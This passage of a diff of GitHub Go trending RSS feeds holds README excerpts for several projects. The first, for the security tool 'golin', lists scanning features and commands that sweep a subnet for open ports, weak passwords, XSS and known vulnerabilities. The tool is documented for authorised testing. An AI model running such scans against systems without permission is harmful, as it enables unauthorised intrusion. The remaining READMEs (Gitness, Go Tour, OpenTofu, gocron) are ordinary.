href="https://192.168.1.1:9090%E3%80%81http://192.168.1.1:9090%E3%80%81192.168.1.1:9090/login/index.php">https://192.168.1.1:9090、http://192.168.1.1:9090、192.168.1.1:9090/login/index.php</a></td> </tr> <tr> <td align="center">17</td> <td align="center">sql注入扫描</td> <td align="center">√</td> <td align="center"></td> </tr> </tbody> </table> <h2>web目录扫描现阶段支持功能</h2> <table> <thead> <tr> <th align="center">序号</th> <th align="center">功能</th> <th align="center">是否支持</th> <th align="center">备注</th> </tr> </thead> <tbody> <tr> <td align="center">1</td> <td align="center">多线程</td> <td align="center">√</td> <td align="center">默认为30并发</td> </tr> <tr> <td align="center">2</td> <td align="center">自定义状态码</td> <td align="center">√</td> <td align="center">默认为200</td> </tr> <tr> <td align="center">3</td> <td align="center">代理模式</td> <td align="center">√</td> <td align="center">http/s、socks</td> </tr> <tr> <td align="center">4</td> <td align="center">返回title</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">5</td> <td align="center">超时等待时常</td> <td align="center">√</td> <td align="center">默认为3秒</td> </tr> <tr> <td align="center">6</td> <td align="center">循环等待</td> <td align="center">√</td> <td align="center">默认为无限制</td> </tr> <tr> <td align="center">7</td> <td align="center">内置url</td> <td align="center">√</td> <td align="center">3W+</td> </tr> <tr> <td align="center">8</td> <td align="center">自定义User-Agent</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">9</td> <td align="center">重传</td> <td align="center"></td> <td align="center"></td> </tr> <tr> <td align="center">10</td> <td align="center">爬虫</td> <td align="center"></td> <td align="center"></td> </tr> <tr> <td align="center">11</td> <td align="center">结果保存</td> <td align="center">√</td> <td align="center">保存到dirScan.json</td> </tr> <tr> <td align="center">12</td> <td align="center">内置字典</td> <td align="center">√</td> <td align="center">3W条目录路径</td> </tr> <tr> <td align="center">13</td> <td align="center">识别目录浏览</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">14</td> <td align="center">识别敏感信息泄露</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">15</td> <td align="center">识别文件下载</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">16</td> <td align="center">xss扫描</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">17</td> <td align="center">组件识别</td> <td align="center">√</td> <td align="center">目前常用300+</td> </tr> </tbody> </table> <h2>自动化测评现阶段支持类型</h2> <table> <thead> <tr> <th align="center">序号</th> <th align="center">类型</th> <th align="center">是否支持</th> <th align="center">备注</th> </tr> </thead> <tbody> <tr> <td align="center">1</td> <td align="center">Centos</td> <td align="center">√</td> <td align="center">SSH远程或本地运行</td> </tr> <tr> <td align="center">2</td> <td align="center">Windows</td> <td align="center">√</td> <td align="center">本地运行</td> </tr> <tr> <td align="center">3</td> <td align="center">Redis</td> <td align="center">√</td> <td align="center">远程或本地运行</td> </tr> <tr> <td align="center">4</td> <td align="center">PostgreSQL</td> <td align="center">√</td> <td align="center">远程或本地运行</td> </tr> <tr> <td align="center">5</td> <td align="center">Oracle</td> <td align="center">√</td> <td align="center">远程或本地运行</td> </tr> <tr> <td align="center">6</td> <td align="center">MSSQL</td> <td align="center">√</td> <td align="center">远程或本地运行</td> </tr> <tr> <td align="center">7</td> <td align="center">H3C</td> <td align="center">√</td> <td align="center">SSH远程</td> </tr> <tr> <td align="center">8</td> <td align="center">华为</td> <td align="center">√</td> <td align="center">SSH远程</td> </tr> <tr> <td align="center">9</td> <td align="center">AIX</td> <td align="center">√</td> <td align="center">可自定义命令未内置</td> </tr> <tr> <td align="center">10</td> <td align="center">Ubuntu</td> <td align="center">√</td> <td align="center">可自定义命令未内置</td> </tr> <tr> <td align="center">11</td> <td align="center">MongoDB</td> <td align="center"></td> <td align="center"></td> </tr> <tr> <td align="center">12</td> <td align="center">Elasticsearch</td> <td align="center"></td> <td align="center"></td> </tr> </tbody> </table> <h1>常用启动参数</h1> <pre><code>golin web (通过web方式启动,仅支持等保功能) golin port (自动读取本地网卡IP地址段进行扫描,过滤虚拟网卡地址段) golin port -i 192.168.1.1/24 (扫描c段端口并扫描弱口令、xss、poc漏洞) golin port -i 192.168.1.1/24 --ipfile ip.txt (扫描指定IP段的同时扫描ip.txt文件中的主机,默认读取ip.txt,目录下如果存在不使用--ipfile也会读取) golin port -i 192.168.1.1:8080 (快速扫描某一主机的特定端口) golin port -i 192.168.1.1/24 -c 1000 -t 10(仅扫描c段端口并设置并发数为1000,端口连接超时为10秒) golin port -i 192.168.1.1/24 --noping --nocrack --random(扫描c段端口但不探测存活不扫描弱口令,并且打乱主机顺序扫描) golin port -i 192.168.1.1/24 --nopoc(扫描c段端口但禁用扫描漏洞) golin dirsearch -u https://test.com -f 字典.txt --code 200,404 (扫描状态码为200以及404的web目录) golin domain -u baidu.com --api (扫描子域名,并且调用fofa、RapidDNS的API) golin [linux、mysql、oracle、sqlserver、redis、windows...] (按照3级等保要求核查各项安全配置生成html形式报告) golin update (检查是否可更新) </code></pre> <h1>免责声明</h1> <p>本工具仅面向合法授权的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。</p> <p>在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。请勿对非授权目标进行扫描。</p> <p>如您在使用本工具的过程中存在任何非法行为,您需自行承担相应一切后果。</p> - - - harness/gitness - 2023-09-24T01:31:27Z - tag:github.com,2023-09-24:/harness/gitness - - <p>Gitness is an Open Source developer platform with Source Control management, Continuous Integration and Continuous Delivery.</p><hr><h1>Gitness</h1> <p>Your lightweight, super fast code hosting and continuous integration service (powered by Drone)</p> <p>Gitness is building on top of Drone to create a new, open source developer platform with code hosting and pipeline capabilities. Gitness development is taking place in the <code>master</code> branch. Drone development will continue in the <code>drone</code> branch until we a ready for our first tagged Gitness release, at which point the project will fully converge.</p> <p>For more information on Gitness, please visit <a href="https://gitness.com/">gitness.com</a>. For more information on Drone, please visit <a href="https://www.drone.io/">drone.io</a></p> <h1>Using Docker</h1> <p>The latest publicly released docker image can be found on <a href="https://hub.docker.com/r/harness/gitness">harness/gitness</a>. To try it out, run the command below. Once the container is running, you can visit localhost:3000 in your browser.</p> <pre><code class="language-bash">docker run \ -p 3000:3000 \ -v /var/run/docker.sock:/var/run/docker.sock \ -v /tmp/gitness:/data \ harness/gitness:latest </code></pre> <blockquote> <p>The Gitness image uses a volume to store the database and repositories. It is highly recommended to use a bind mount or named volume as otherwise all data will be lost once the contaner is stopped.</p> </blockquote> <h1>Pre-Requisites</h1> <p>Install the latest stable version of Node and Go version 1.19 or higher, and then install the below Go programs. Ensure the GOPATH <a href="https://go.dev/doc/gopath_code#GOPATH">bin directory</a> is added to your PATH.</p> <p>Install protobuf</p> <ul> <li>Check if you've already installed protobuf <code>protoc --version</code></li> <li>If your version is different than v3.21.11, run <code>brew unlink protobuf</code></li> <li>Get v3.21.11 <code>curl -s https://raw.githubusercontent.com/Homebrew/homebrew-core/9de8de7a533609ebfded833480c1f7c05a3448cb/Formula/protobuf.rb &gt; /tmp/protobuf.rb</code></li> <li>Install it <code>brew install /tmp/protobuf.rb</code></li> <li>Check out your version <code>protoc --version</code></li> </ul> <p>Install protoc-gen-go and protoc-gen-go-rpc:</p> <ul> <li> <p>Install protoc-gen-go v1.28.1 <code>go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.28.1</code> (Note that this will install a binary in $GOBIN so make sure $GOBIN is in your $PATH)</p> </li> <li> <p>Install protoc-gen-go-grpc v1.2.0 <code>go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.2.0</code></p> </li> </ul> <pre><code class="language-bash">$ make dep $ make tools </code></pre> <h1>Build</h1> <p>Build the user interface:</p> <pre><code class="language-bash">$ pushd web $ yarn install $ yarn build $ popd </code></pre> <p>Build the server and command line tools:</p> <pre><code class="language-bash">$ make build </code></pre> <h1>Run</h1> <p>This project supports all operating systems and architectures supported by Go. This means you can build and run the system on your machine; docker containers are not required for local development and testing.</p> <p>Start the server at <code>localhost:3000</code></p> <pre><code class="language-bash">./gitness server .local.env </code></pre> <h1>User Interface</h1> <p>This project includes a full user interface for interacting with the system. When you run the application, you can access the user interface by navigating to <code>http://localhost:3000</code> in your browser.</p> <h1>Swagger</h1> <p>This project includes a swagger specification. When you run the application, you can access the swagger specification by navigating to <code>http://localhost:3000/swagger</code> in your browser (for raw yaml see <code>http://localhost:3000/openapi.yaml</code>).</p> <h2>Auto-Generate Gitness API Client used by UI using Swagger</h2> <p>Please make sure to update the autogenerated client code used by the UI when adding new rest APIs.</p> <p>To regenerate the code, please execute the following steps:</p> <ul> <li>Run local gitness instance with latest changes</li> <li>Get latest OpenAPI specs from <code>http://localhost:3000/openapi.yaml</code> and store it in <code>web/src/services/code/swagger.yaml</code></li> </ul> <p>The latest API changes should now be reflected in <code>web/src/services/code/index.tsx</code></p> <h1>REST API</h1> <p>Please refer to the swagger for the specification of our rest API.</p> <p>For testing, it's simplest to execute operations as the default user <code>admin</code> using a PAT:</p> <pre><code class="language-bash"># LOGIN (user: admin, pw: changeit) $ ./gitness login # GENERATE PAT (1 YEAR VALIDITY) $ ./gitness user pat "my-pat-uid" 2592000 </code></pre> <p>The command outputs a valid PAT that has been granted full access as the user. The token can then be send as part of the <code>Authorization</code> header with Postman or curl:</p> <pre><code class="language-bash">$ curl http://localhost:3000/api/v1/user \ -H "Authorization: Bearer $TOKEN" </code></pre> <h1>CLI</h1> <p>This project includes VERY basic command line tools for development and running the service. Please remember that you must start the server before you can execute commands.</p> <p>For a full list of supported operations, please see</p> <pre><code class="language-bash">$ ./gitness --help </code></pre> + ardanlabs/gotour + 2023-09-25T01:30:18Z + tag:github.com,2023-09-25:/ardanlabs/gotour + + <p></p><hr><h2>Go Tour</h2> <p>Copyright 2015, 2016, 2017, 2018, 2019, 2020, 2021, 2022, 2023 Ardan Labs<br> <a href="mailto:hello@ardanlabs.com">hello@ardanlabs.com</a></p> <h2>Learn More</h2> <p><strong>Reach out about corporate training events, open enrollment live training sessions, and on-demand learning options.</strong></p> <p>Ardan Labs (<a href="http://www.ardanlabs.com">www.ardanlabs.com</a>)<br> <a href="mailto:hello@ardanlabs.com">hello@ardanlabs.com</a></p> <p>To attend any of our high-performance tranings check out this link:<br> <a href="https://www.ardanlabs.com/training">https://www.ardanlabs.com/training</a></p> <h2>Index</h2> <ul> <li><a href="https://github.com/ardanlabs/gotraining#purchase-video--book">Purchase Video</a></li> <li><a href="https://github.com/ardanlabs/gotraining#our-experience">Experience</a></li> <li><a href="https://github.com/ardanlabs/gotraining#our-teachers">Teachers</a></li> <li><a href="https://github.com/ardanlabs/gotraining#more-about-go">More About Go</a></li> <li><a href="https://github.com/ardanlabs/gotraining#important-reading">Important Reading</a></li> <li><a href="https://github.com/ardanlabs/gotraining#joining-the-go-slack-community">Joining Slack</a></li> </ul> <h2>Purchase Video / Book</h2> <p>The entire training class has been recorded to be made available to those who can't have the class taught at their company or who can't attend a conference. This is the entire class material.</p> <p><a href="https://education.ardanlabs.com">education.ardanlabs.com</a></p> <p>There is a book for all of the material in the class.</p> <p><a href="https://education.ardanlabs.com/courses/ultimate-go-notebook">Ultimate Go Notebook</a></p> <h2>Our Experience</h2> <p>We have taught Go to thousands of developers all around the world since 2014. There is no other company that has been doing it longer and our material has proven to help jump-start developers 6 to 12 months ahead of their knowledge of Go. We know what knowledge developers need in order to be productive and efficient when writing software in Go.</p> <p>Our classes are perfect for intermediate-level developers who have at least a few months to years of experience writing code in Go. Our classes provide a very deep knowledge of the programming langauge with a big push on language mechanics, design philosophies and guidelines. We focus on teaching how to write code with a priority on consistency, integrity, readability and simplicity. We cover a lot about “if performance matters” with a focus on mechanical sympathy, data oriented design, decoupling and writing/debugging production software.</p> <h2>Our Teachers</h2> <h3>William Kennedy (<a href="https://twitter.com/goinggodotnet">@goinggodotnet</a>)</h3> <p><em>William Kennedy is a managing partner at Ardan Labs in Miami, Florida. Ardan Labs is a high-performance development and training firm working with startups and fortune 500 companies. He is also a co-author of the book Go in Action, the author of the blog GoingGo.Net, and a founding member of GoBridge which is working to increase Go adoption through diversity.</em></p> <p><em><strong>Video Training</strong></em><br> <a href="https://education.ardanlabs.com">Ultimate Go Video</a><br> <a href="http://youtube.ardanlabs.com/">Ardan Labs YouTube Channel</a></p> <p><em><strong>Blog</strong></em><br> <a href="https://www.ardanlabs.com/blog/">Going Go</a></p> <p><em><strong>Writing</strong></em><br> <a href="http://blog.mongodb.org/post/80579086742/running-mongodb-queries-concurrently-with-go">Running MongoDB Queries Concurrently With Go</a><br> <a href="https://www.manning.com/books/go-in-action">Go In Action</a></p> <p><em><strong>Articles</strong></em><br> <a href="http://www.itworldcanada.com/article/nascent-google-development-language-shows-promise-for-more-productive-coding/387449">IT World Canada</a></p> <p><em><strong>Video</strong></em><br> <a href="https://www.youtube.com/watch?v=PYMs-urosXs">P99 Talk (2022) - Evaluating Performance In Go</a><br> <a href="https://www.youtube.com/watch?v=6qAfkJGWsns">GopherCon Europe (2022) - Practical Memory Profiling</a><br> <a href="https://www.youtube.com/watch?v=5L4PUbDqSEo">Dgrpah Day (2021) - Getting Started With Dgraph and GraphQL</a><br> <a href="https://www.youtube.com/watch?v=Tst0oI97cvQ&amp;t=2s">GDN Event #1 (2021) - GoBridge Needs Your Help</a><br> <a href="https://www.youtube.com/watch?v=PSR1twjzzAM&amp;feature=youtu.be">Training Within The Go Community (2019)</a><br> <a href="https://www.youtube.com/watch?v=MVxbVR_6Tac">GopherCon Australia (2019) - Modules</a><br> <a href="https://www.youtube.com/watch?v=IV0wrVb31Pg">Golab (2019) - You Want To Build a Web Service?</a><br> <a href="https://www.youtube.com/watch?v=q4HoWwdZUHs">GopherCon Singapore (2019) - Garbage Collection Semantics</a><br> <a href="https://www.youtube.com/watch?v=AHAf1Xfr_HE">GopherCon India (2019) - Channel Semantics</a><br> <a href="https://www.youtube.com/watch?v=-GBMFPegqgw">GoWayFest Minsk (2018) - Profiling Web Apps</a><br> <a href="https://engineers.sg/video/optimize-for-correctness-gopherconsg-2018--2610">GopherCon Singapore (2018) - Optimizing For Correctness</a><br> <a href="https://www.youtube.com/watch?v=j3zCUc06OXo&amp;t=0s&amp;index=11&amp;list=PLhJxE57Cki63cElK2kmt3_vi8j2eIHTqZ">GopherCon India (2018) - What is the Legacy You Are Leaving Behind</a><br> <a href="https://www.youtube.com/watch?v=OTLjN8NQDyo">Code::Dive (2017) - Optimizing For Correctness</a><br> <a href="https://www.youtube.com/watch?v=OrctYMf4btA">Code::Dive (2017) - Go: Concurrency Design</a><br> <a href="https://www.youtube.com/watch?v=zDCKZn4-dck">dotGo (2017) - Behavior Of Channels</a><br> <a href="https://engineers.sg/video/escape-analysis-and-memory-profiling-gophercon-sg-2017--1746">GopherCon Singapore (2017) - Escape Analysis</a><br> <a href="https://www.youtube.com/watch?v=yGOOUCrrgrE&amp;index=10&amp;list=PLeGxIOPLk9EKdl-h_Y-sbLhLoP-ia7CJ5">Capital Go (2017) - Concurrency Design</a><br> <a href="https://www.youtube.com/watch?v=spKM5CyBwJA#t=0m56s">GopherCon India (2017) - Package Oriented Design</a><br> <a href="https://www.youtube.com/watch?v=QkPw8-Pf0SM">GopherCon India (2015) - Go In Action</a><br> <a href="https://youtu.be/CdhucJShJU8">GolangUK (2016) - Dependency Management</a><br> <a href="https://vimeo.com/115782573">GothamGo (2015) - Error Handling in Go</a><br> <a href="https://www.youtube.com/watch?v=EfJRQ1lGkUk">GopherCon (2014) - Building an analytics engine</a></p> <p><a href="https://youtu.be/m8lgcXv2lhI">Prague Meetup (2021) - Go Module Engineering Decisions</a><br> <a href="https://www.youtube.com/watch?v=p2Cjq3Dq2Q0">Practical Understanding Of Scheduler Semantics (2021)</a><br> <a href="https://www.youtube.com/watch?v=gIEPspmbMHM&amp;t=2069s">Go Generics Draft Proposal (2020)</a><br> <a href="https://www.youtube.com/watch?v=sBzJ-sjhgs8">Hack Potsdam (2017) - Tech Talk with William Kennedy</a><br> <a href="https://vimeo.com/199832344">Chicago Meetup (2016) - An Evening</a><br> <a href="https://www.youtube.com/watch?v=7YcLIbG1ekM&amp;t=91s">Vancouver Meetup (2016) - Go Talk &amp; Ask Me Anything With William Kennedy</a><br> <a href="https://www.youtube.com/watch?v=AQipeq39Aek">Vancouver Meetup (2015) - Compiler Optimizations in Go</a><br> <a href="https://youtu.be/gRpUfjTwSOo">Bangalore Meetup (2015) - OOP in Go</a><br> <a href="https://www.youtube.com/watch?v=ZUCHMAoOgUQ">GoSF Meetup - The Nature of Constants in Go</a><br> <a href="https://skillsmatter.com/skillscasts/8353-london-go-usergroup">London Meetup - Mechanical Sympathy</a><br> <a href="https://www.youtube.com/watch?v=7YcLIbG1ekM&amp;feature=youtu.be">Vancouver Meetup - Decoupling From Change</a></p> <p><em><strong>Podcasts</strong></em><br> <a href="https://ardanlabs.buzzsprout.com/">Ardan Labs Podcast: On Going Series</a><br> <a href="https://anchor.fm/mangtasnation/episodes/A-Golang-Deep-Dive-with-Bill-Kennedy--S2-EP3-e1ij9c3">Mangtas Nation: A Golang Deep Dive with Bill Kennedy</a><br> <a href="https://anchor.fm/coding-with-holger/episodes/Go-with-Bill-Kennedy-e1c9h2q">Coding with Holger: Go with Bill Kennedy</a><br> <a href="https://podcasts.apple.com/us/podcast/from-programming-to-teaching-code-with-bill-kennedy/id1537136353?i=1000545230339">Craft of Code: From Programming to Teaching Code with Bill Kennedy</a><br> <a href="https://changelog.com/gotime/172">GoTime: Design Philosophy</a><br> <a href="https://changelog.com/gotime/72">GoTime: Learning and Teaching Go</a><br> <a href="https://changelog.com/gotime/6">GoTime: Bill Kennedy on Mechanical Sympathy</a><br> <a href="https://changelog.com/gotime/30">GoTime: Discussing Imposter Syndrome</a><br> <a href="http://hellotechpros.com/william-kennedy-people">HelloTechPros: Your Tech Interviews are Scaring Away Brilliant People</a><br> <a href="http://hellotechpros.com/bill-kennedy-productivity">HelloTechPros: The 4 Cornerstones of Writing Software</a></p> <h2>More About Go</h2> <p>Go is an open source programming language that makes it easy to build simple, reliable, and efficient software. Although it borrows ideas from existing languages, it has a unique and simple nature that make Go programs different in character from programs written in other languages. It balances the capabilities of a low-level systems language with some high-level features you see in modern languages today. This creates a programming environment that allows you to be incredibly productive, performant and fully in control; in Go, you can write less code and do so much more.</p> <p>Go is the fusion of performance and productivity wrapped in a language that software developers can learn, use and understand. Go is not C, yet we have many of the benefits of C with the benefits of higher level programming languages.</p> <p><a href="https://henvic.dev/posts/go/">The Ecosystem of the Go Programming Language</a> - Henrique Vicente<br> <a href="https://www.infoq.com/presentations/go-concurrency-gc">The Why of Go</a> - Carmen Andoh<br> <a href="https://commandcenter.blogspot.com/2017/09/go-ten-years-and-climbing.html">Go Ten Years and Climbing</a> - Rob Pike<br> <a href="https://erikbern.com/2017/03/15/the-eigenvector-of-why-we-moved-from-language-x-to-language-y.html">The eigenvector of "Why we moved from language X to language Y"</a> - Erik Bernhardsson<br> <a href="https://talks.golang.org/2012/splash.article">Learn More</a> - Go Team<br> <a href="https://www.youtube.com/watch?v=rFejpH_tAHM">Simplicity is Complicated</a> - Rob Pike<br> <a href="http://aarti.github.io/2016/08/13/getting-started-in-go">Getting Started In Go</a> - Aarti Parikh</p> <h2>Minimal Qualified Student</h2> <p>The material has been designed to be taught in a classroom environment. The code is well commented but missing some of the contextual concepts and ideas that will be covered in class. Students with the following minimal background will get the most out of the class.</p> <ul> <li>Studied CS in school or has a minimum of two years of experience programming full time professionally.</li> <li>Familiar with structural and object oriented programming styles.</li> <li>Has worked with arrays, lists, queues and stacks.</li> <li>Understands processes, threads and synchronization at a high level.</li> <li>Operating Systems <ul> <li>Has worked with a command shell.</li> <li>Knows how to maneuver around the file system.</li> <li>Understands what environment variables are.</li> </ul> </li> </ul> <h2>Important Reading</h2> <p>Please check out this page of <a href="https://github.com/ardanlabs/gotraining/raw/master/reading/README.md">important reading</a>. You will find articles and videos around mechanical sympathy, data-oriented design, Go runtime and optimizations and articles about the history of computing.</p> <h2>Joining the Go Slack Community</h2> <p>We use a slack channel to share links, code, and examples during the training. This is free. This is also the same slack community you will use after training to ask for help and interact with may Go experts around the world in the community.</p> <ul> <li>Using the following link, fill out your name and email address: <a href="https://invite.slack.gobridge.org/">https://invite.slack.gobridge.org/</a></li> <li>Check your email, and follow the link to the slack application.</li> </ul> <hr> <p>All material is licensed under the <a href="http://www.apache.org/licenses/LICENSE-2.0">Apache License Version 2.0, January 2004</a>.</p> \ No newline at end of file diff --git a/go/weekly/index.xml b/go/weekly/index.xml deleted file mode 100644 index 9aa20131f0d..00000000000 --- a/go/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Go Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:02Z - Weekly Trending of Go in GitHub - - - opentofu/opentofu - 2023-09-24T01:51:02Z - tag:github.com,2023-09-24:/opentofu/opentofu - - <p>OpenTofu lets you declaratively manage your cloud infrastructure.</p><hr><h1>OpenTofu</h1> <ul> <li>Manifesto: <a href="https://opentofu.org/manifesto">https://opentofu.org/manifesto</a></li> <li>About the OpenTofu fork: <a href="https://opentofu.org/fork">https://opentofu.org/fork</a></li> <li><a href="https://join.slack.com/t/opentfcommunity/shared_invite/zt-237chyryd-mFULiefrbYGMYQoG72BUpQ">Join our Slack community!</a></li> </ul> <p><img src="https://raw.githubusercontent.com/opentofu/brand-artifacts/main/full/transparent/SVG/on-dark.svg#gh-dark-mode-only" alt=""> <img src="https://raw.githubusercontent.com/opentofu/brand-artifacts/main/full/transparent/SVG/on-light.svg#gh-light-mode-only" alt=""></p> <p><strong>Important Note: This repository is currently a work in progress while we're preparing it for the first alpha release and fine-tuning the community contribution process. Please read the <a href="https://opentofu.org/fork">announcement post</a> for important context and the <a href="https://raw.githubusercontent.com/opentofu/opentofu/main/CONTRIBUTING.md">contributing docs</a> for instructions on how to contribute. Additionally, please be mindful that building this repository in its current state and running it might put you in violation of the <a href="https://web.archive.org/web/https://registry.terraform.io/terms">Terraform Registry ToS</a>, if that's where you fetch your providers or modules from.</strong></p> <p>OpenTofu is an OSS tool for building, changing, and versioning infrastructure safely and efficiently. OpenTofu can manage existing and popular service providers as well as custom in-house solutions.</p> <p>The key features of OpenTofu are:</p> <ul> <li> <p><strong>Infrastructure as Code</strong>: Infrastructure is described using a high-level configuration syntax. This allows a blueprint of your datacenter to be versioned and treated as you would any other code. Additionally, infrastructure can be shared and re-used.</p> </li> <li> <p><strong>Execution Plans</strong>: OpenTofu has a "planning" step where it generates an execution plan. The execution plan shows what OpenTofu will do when you call apply. This lets you avoid any surprises when OpenTofu manipulates infrastructure.</p> </li> <li> <p><strong>Resource Graph</strong>: OpenTofu builds a graph of all your resources, and parallelizes the creation and modification of any non-dependent resources. Because of this, OpenTofu builds infrastructure as efficiently as possible, and operators get insight into dependencies in their infrastructure.</p> </li> <li> <p><strong>Change Automation</strong>: Complex changesets can be applied to your infrastructure with minimal human interaction. With the previously mentioned execution plan and resource graph, you know exactly what OpenTofu will change and in what order, avoiding many possible human errors.</p> </li> </ul> <h2>Developing OpenTofu</h2> <p>This repository contains OpenTofu Core, which includes the command line interface and the main graph engine.</p> <ul> <li> <p>To learn more about compiling OpenTofu and contributing suggested changes, refer to <a href="https://raw.githubusercontent.com/opentofu/opentofu/main/CONTRIBUTING.md">the contributing guide</a>.</p> </li> <li> <p>To submit bug reports or enhancement requests, refer to the <a href="https://raw.githubusercontent.com/opentofu/opentofu/main/CONTRIBUTING.md">contributing guide</a> as well.</p> </li> </ul> <h2>License</h2> <p><a href="https://github.com/opentofu/opentofu/raw/main/LICENSE">Mozilla Public License v2.0</a></p> - - - go-co-op/gocron - 2023-09-24T01:51:02Z - tag:github.com,2023-09-24:/go-co-op/gocron - - <p>Easy and fluent Go cron scheduling. This is a fork from https://github.com/jasonlvhit/gocron</p><hr><h1>gocron: A Golang Job Scheduling Package.</h1> <p><a href="https://github.com/avelino/awesome-go#job-scheduler"><img src="https://awesome.re/mentioned-badge-flat.svg?sanitize=true" alt="Mentioned in Awesome Go"></a> <a href="https://github.com/go-co-op/gocron/actions"><img src="https://github.com/go-co-op/gocron/actions/workflows/go_test.yml/badge.svg?branch=main&amp;event=push" alt="CI State"></a> <img src="https://goreportcard.com/badge/github.com/go-co-op/gocron" alt="Go Report Card"> <a href="https://pkg.go.dev/github.com/go-co-op/gocron"><img src="https://godoc.org/github.com/go-co-op/gocron?status.svg?sanitize=true" alt="Go Doc"></a></p> <p>gocron is a job scheduling package which lets you run Go functions at pre-determined intervals using a simple, human-friendly syntax.</p> <p>gocron is a Golang scheduler implementation similar to the Ruby module <a href="https://github.com/tomykaira/clockwork">clockwork</a> and the Python job scheduling package <a href="https://github.com/dbader/schedule">schedule</a>.</p> <p>See also these two great articles that were used for design input:</p> <ul> <li><a href="http://adam.herokuapp.com/past/2010/4/13/rethinking_cron/">Rethinking Cron</a></li> <li><a href="http://adam.herokuapp.com/past/2010/6/30/replace_cron_with_clockwork/">Replace Cron with Clockwork</a></li> </ul> <p>If you want to chat, you can find us at Slack! <a href="https://gophers.slack.com/archives/CQ7T0T1FW"><img src="https://img.shields.io/badge/gophers-gocron-brightgreen?logo=slack"></a></p> <h2>Concepts</h2> <ul> <li><strong>Scheduler</strong>: The scheduler tracks all the jobs assigned to it and makes sure they are passed to the executor when ready to be run. The scheduler is able to manage overall aspects of job behavior like limiting how many jobs are running at one time.</li> <li><strong>Job</strong>: The job is simply aware of the task (go function) it's provided and is therefore only able to perform actions related to that task like preventing itself from overruning a previous task that is taking a long time.</li> <li><strong>Executor</strong>: The executor, as it's name suggests, is simply responsible for calling the task (go function) that the job hands to it when sent by the scheduler.</li> </ul> <h2>Examples</h2> <pre><code class="language-golang">s := gocron.NewScheduler(time.UTC) // Every starts the job immediately and then runs at the // specified interval job, err := s.Every(5).Seconds().Do(func(){ ... }) if err != nil { // handle the error related to setting up the job } // to wait for the interval to pass before running the first job // use WaitForSchedule or WaitForScheduleAll s.Every(5).Second().WaitForSchedule().Do(func(){ ... }) s.WaitForScheduleAll() s.Every(5).Second().Do(func(){ ... }) // waits for schedule s.Every(5).Second().Do(func(){ ... }) // waits for schedule // strings parse to duration s.Every("5m").Do(func(){ ... }) s.Every(5).Days().Do(func(){ ... }) s.Every(1).Month(1, 2, 3).Do(func(){ ... }) // set time s.Every(1).Day().At("10:30").Do(func(){ ... }) // set multiple times s.Every(1).Day().At("10:30;08:00").Do(func(){ ... }) s.Every(1).Day().At("10:30").At("08:00").Do(func(){ ... }) // Schedule each last day of the month s.Every(1).MonthLastDay().Do(func(){ ... }) // Or each last day of every other month s.Every(2).MonthLastDay().Do(func(){ ... }) // cron expressions supported s.Cron("*/1 * * * *").Do(task) // every minute // cron second-level expressions supported s.CronWithSeconds("*/1 * * * * *").Do(task) // every second // you can start running the scheduler in two different ways: // starts the scheduler asynchronously s.StartAsync() // starts the scheduler and blocks current execution path s.StartBlocking() // stop the running scheduler in two different ways: // stop the scheduler s.Stop() // stop the scheduler and notify the `StartBlocking()` to exit s.StopBlockingChan() </code></pre> <p>For more examples, take a look in our <a href="https://pkg.go.dev/github.com/go-co-op/gocron#pkg-examples">go docs</a></p> <h2>Options</h2> <table> <thead> <tr> <th>Interval</th> <th>Supported schedule options</th> </tr> </thead> <tbody> <tr> <td>sub-second</td> <td><code>StartAt()</code></td> </tr> <tr> <td>milliseconds</td> <td><code>StartAt()</code></td> </tr> <tr> <td>seconds</td> <td><code>StartAt()</code></td> </tr> <tr> <td>minutes</td> <td><code>StartAt()</code></td> </tr> <tr> <td>hours</td> <td><code>StartAt()</code></td> </tr> <tr> <td>days</td> <td><code>StartAt()</code>, <code>At()</code></td> </tr> <tr> <td>weeks</td> <td><code>StartAt()</code>, <code>At()</code>, <code>Weekday()</code> (and all week day named functions)</td> </tr> <tr> <td>months</td> <td><code>StartAt()</code>, <code>At()</code></td> </tr> </tbody> </table> <p>There are several options available to restrict how jobs run:</p> <table> <thead> <tr> <th>Mode</th> <th>Function</th> <th>Behavior</th> </tr> </thead> <tbody> <tr> <td>Default</td> <td></td> <td>jobs are rescheduled at every interval</td> </tr> <tr> <td>Job singleton</td> <td><code>SingletonMode()</code></td> <td>a long running job will not be rescheduled until the current run is completed</td> </tr> <tr> <td>Scheduler limit</td> <td><code>SetMaxConcurrentJobs()</code></td> <td>set a collective maximum number of concurrent jobs running across the scheduler</td> </tr> <tr> <td>Distributed locking</td> <td><code>WithDistributedLocker()</code></td> <td>prevents the same job from being run more than once when running multiple instances of the scheduler</td> </tr> <tr> <td>Distributed elector</td> <td><code>WithDistributedElector()</code></td> <td>multiple instances exist in a distributed scenario, only the leader instance can run jobs</td> </tr> </tbody> </table> <h2>Distributed Locker Implementations</h2> <ul> <li>Redis: <a href="https://github.com/go-co-op/gocron-redis-lock">redislock</a> <code>go get github.com/go-co-op/gocron-redis-lock</code></li> </ul> <h2>Tags</h2> <p>Jobs may have arbitrary tags added which can be useful when tracking many jobs. The scheduler supports both enforcing tags to be unique and when not unique, running all jobs with a given tag.</p> <pre><code class="language-golang">s := gocron.NewScheduler(time.UTC) s.TagsUnique() _, _ = s.Every(1).Week().Tag("foo").Do(task) _, err := s.Every(1).Week().Tag("foo").Do(task) // error!!! s := gocron.NewScheduler(time.UTC) s.Every(2).Day().Tag("tag").At("10:00").Do(task) s.Every(1).Minute().Tag("tag").Do(task) s.RunByTag("tag") // both jobs will run </code></pre> <h2>FAQ</h2> <ul> <li> <p>Q: I'm running multiple pods on a distributed environment. How can I make a job not run once per pod causing duplication?</p> <ul> <li>We recommend using your own lock solution within the jobs themselves (you could use <a href="https://redis.io/topics/distlock">Redis</a>, for example)</li> <li>A2: Use the scheduler option 